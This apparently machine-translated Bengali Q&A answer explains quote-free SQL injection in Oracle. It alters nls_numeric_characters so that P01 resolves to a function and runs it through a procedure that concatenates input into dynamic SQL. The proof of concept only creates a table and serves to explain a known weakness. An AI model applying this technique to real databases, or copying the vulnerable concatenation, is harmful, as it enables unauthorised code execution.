হ্যাঁ, প্যারামিটারে উদ্ধৃতি সরবরাহ না করে কোনও এসকিউএল ইঞ্জেকশন আক্রমণ করা সম্ভব।
এটি করার উপায়টি কীভাবে সংখ্যা এবং / অথবা তারিখগুলি প্রক্রিয়াজাত করা হয় তা নিয়ে কাজ করে। তারিখ বা সংখ্যার ফর্ম্যাটটি কী তা আপনি সেশন পর্যায়ে নির্দিষ্ট করতে পারেন। এটিকে চালিত করে আপনি যে কোনও চরিত্রের সাথে ইনজেকশন করতে পারেন।
ইউকে এবং মার্কিন যুক্তরাষ্ট্রে ডিফল্টরূপে, হাজারে সংখ্যায় বিভাজক এবং দশমিক পয়েন্টের জন্য একটি সম্পূর্ণ স্টপ নির্দেশ করতে একটি কমা ব্যবহার করা হয়। আপনি এই ডিফল্ট সম্পাদন করে পরিবর্তন করতে পারেন:
alter session set nls_numeric_characters = 'PZ';
এর অর্থ হ'ল "পি" এখন দশমিক বিন্দু এবং "জেড" হ'ল হাজার বিভাজক। তাই:
0P01
সংখ্যাটি 0.01। তবে আপনি যদি P01 ফাংশন তৈরি করেন তবে নম্বর রূপান্তর করার আগে অবজেক্টের রেফারেন্সটি নেওয়া হবে। এটি আপনাকে ডাটাবেসে ফাংশন সম্পাদন করতে দেয় যা আপনাকে নিম্নোক্ত ক্ষমতা প্রদান করে:
একটি "বেস দ্বারা আইডি" ফাংশন তৈরি করুন:
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
এছাড়াও একটি ফাংশন তৈরি করুন P01 যা অনাকাঙ্ক্ষিত কিছু করে (এই ক্ষেত্রে কেবল একটি টেবিল তৈরি করবে, তবে আপনি ধারণাটি পাবেন):
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
এবং আমরা যেতে ভাল:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
কোথাও কোনও উদ্ধৃতি নেই, তবে আমরা এখনও "লুকানো" ফাংশন P01 কার্যকর করতে এবং টেবিলটি তৈরি করতে পরিচালিত করেছি t
!
যদিও অনুশীলনে এটি করা কঠিন হতে পারে (এবং কিছু অভ্যন্তরীণ জ্ঞান / সহায়তা প্রয়োজন হতে পারে), এটি দেখায় যে আপনি উদ্ধৃতি না রেখে এসকিউএল ইনজেক্ট করতে পারেন। পরিবর্তিতকরণ nls_date_format
অনুরূপ জিনিসগুলি করার অনুমতি দিতে পারে।
সংখ্যার মূল আবিষ্কারগুলি ডেভিড লিচফিল্ডের দ্বারা হয়েছিল এবং আপনি তার কাগজটি এখানে পড়তে পারেন । কীভাবে তারিখগুলি এখানে কাজে লাগানো যায় সে সম্পর্কে আপনি টম কিটের আলোচনা খুঁজে পেতে পারেন ।